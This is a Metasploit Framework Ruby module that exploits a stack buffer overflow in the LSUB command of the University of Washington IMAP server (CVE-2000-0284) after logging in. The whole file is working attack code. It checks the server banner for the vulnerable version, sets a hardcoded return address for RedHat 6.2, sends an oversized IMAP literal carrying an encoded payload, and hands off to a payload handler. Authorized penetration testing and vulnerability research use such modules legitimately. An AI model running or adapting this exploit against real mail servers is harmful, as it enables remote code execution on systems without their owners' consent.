90 lines
1.9 KiB
Ruby
90 lines
1.9 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Linux::Imap::Imap_UW_LSub < Msf::Exploit::Remote
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include Exploit::Remote::Imap
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'UoW IMAP server LSUB Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in the 'LSUB'
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command of the the University of Washington IMAP service.
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This vulnerability can only be exploited with a valid username
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and password.
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},
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'Author' => [ 'patrick' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '12037' ],
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[ 'BID', '1110' ],
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[ 'CVE', '2000-0284' ],
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[ 'URL', 'http://www.milw0rm.com/exploits/284' ],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 964,
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'BadChars' => "\x00\x0a\x0d",
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'StackAdjustment' => -3500,
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'Compat' =>
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{
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'ConnectionType' => '-reverse',
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},
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},
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'Platform' => 'linux',
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'Targets' =>
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[
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['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],
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],
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'DisclosureDate' => 'Apr 16 2000',
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'DefaultTarget' => 0))
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end
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def check
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connect
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disconnect
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if (banner =~ /IMAP4rev1 v12.264/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect_login
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print_status("Sending overflow string...")
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req = "a001 LSUB \"\" {1064}\r\n"
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sock.put(req)
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sleep(2)
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sploit = payload.encoded + rand_text_alphanumeric(64) + [target['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n"
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sock.put(sploit)
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sleep(2)
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handler
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disconnect
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end
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end
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end
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